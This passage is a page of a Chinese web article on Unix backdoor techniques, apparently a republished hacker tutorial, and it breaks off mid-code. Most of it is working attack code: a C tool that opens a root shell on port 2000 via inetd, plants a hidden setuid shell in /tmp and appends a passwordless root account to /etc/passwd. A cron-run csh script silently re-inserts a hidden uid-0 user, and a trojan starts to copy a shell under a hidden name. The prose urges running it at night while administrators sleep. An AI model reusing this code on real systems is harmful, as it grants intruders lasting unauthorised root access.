目前本站已有 十几万 份求职资料啦!


后门技巧杂谈

10-15 21:47:25 来源:http://www.qz26.com 网络基础知识   阅读:8450
导读:execl("killall", "-HUP", "inetd", NULL); printf("\ndone.\n"); printf("telnet to port 2000\n\n"); break; case '4': printf("\nBackhore BETA by Theft\n"); printf("theft@cyberspace.org\n"); printf("\nAdding Suid Shell... (-s)\n"); system("cp /bin/sh /tmp/.sh"); system("chmod 4700 /tmp/.sh"); system("chown root:root /tmp/.sh"); printf("\nSu
后门技巧杂谈,标签:网络基础,计算机网络基础知识,http://www.qz26.com
execl("killall", "-HUP", "inetd", NULL);
printf("\ndone.\n");
printf("telnet to port 2000\n\n");
break;
case '4':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding Suid Shell... (-s)\n");
system("cp /bin/sh /tmp/.sh");
system("chmod 4700 /tmp/.sh");
system("chown root:root /tmp/.sh");
printf("\nSuid shell added.\n");
printf("execute /tmp/.sh\n\n");
break;
case '5':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding root account... (-u)\n");
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/:/bin/bash\n");
printf("\ndone.\n");
printf("uid 0 and gid 0 account added\n\n");
break;
case '6':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Executing suid shell..\n");

execl("/bin/sh");
break;
case '7':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nInfo... (-i)\n");
printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving you\n");
printf("a root shell on port 2000. example: telnet 2000\n\n");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
printf("executed gives you a root shell. example:/tmp/.sh\n\n");
printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("\nBackhore BETA by Theft\n");
printf("\nhttp://theft.bored.org\n");
printf("theft@cyberspace.org\n\n");
break;
default:
printf("unknown command: %d\n", cmd);
break;
}
}
<-->


[高级]

Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 3:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:

(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb

1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序

以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:

0 0 * * * /usr/bin/retract

<++> backdoor/backdoor.sh
#!/bin/csh

set evilflag = (`grep eviluser /etc/passwd`)


if($#evilflag == 0) then

set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
<-->


[综合]

当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:

<++> backdoor/backdoor3.c
#include
#define pass "triad"
#define BUFFERSIZE 6

int main(argc, argv)
int argc;
char *argv[];{

int i=0;

if(argv[1]){

if(!(strcmp(pass,argv[1]))){


system("cp /bin/csh /bin/.swp121");

上一页  [1] [2] [3] [4]  下一页


Tag:网络基础知识网络基础,计算机网络基础知识电脑培训学习 - 网络知识 - 网络基础知识
【字号: 】 【打印】 【关闭
《后门技巧杂谈》相关文章
最新更新
推荐热门
联系我们 | 网站地图 | 财务资料 | 范文大全 | 求职简历 | 财会考试 | 成功励志
Copyright 二六求职资料网 All Right Reserved.
1 2 3 4 5 6 7 8 9 10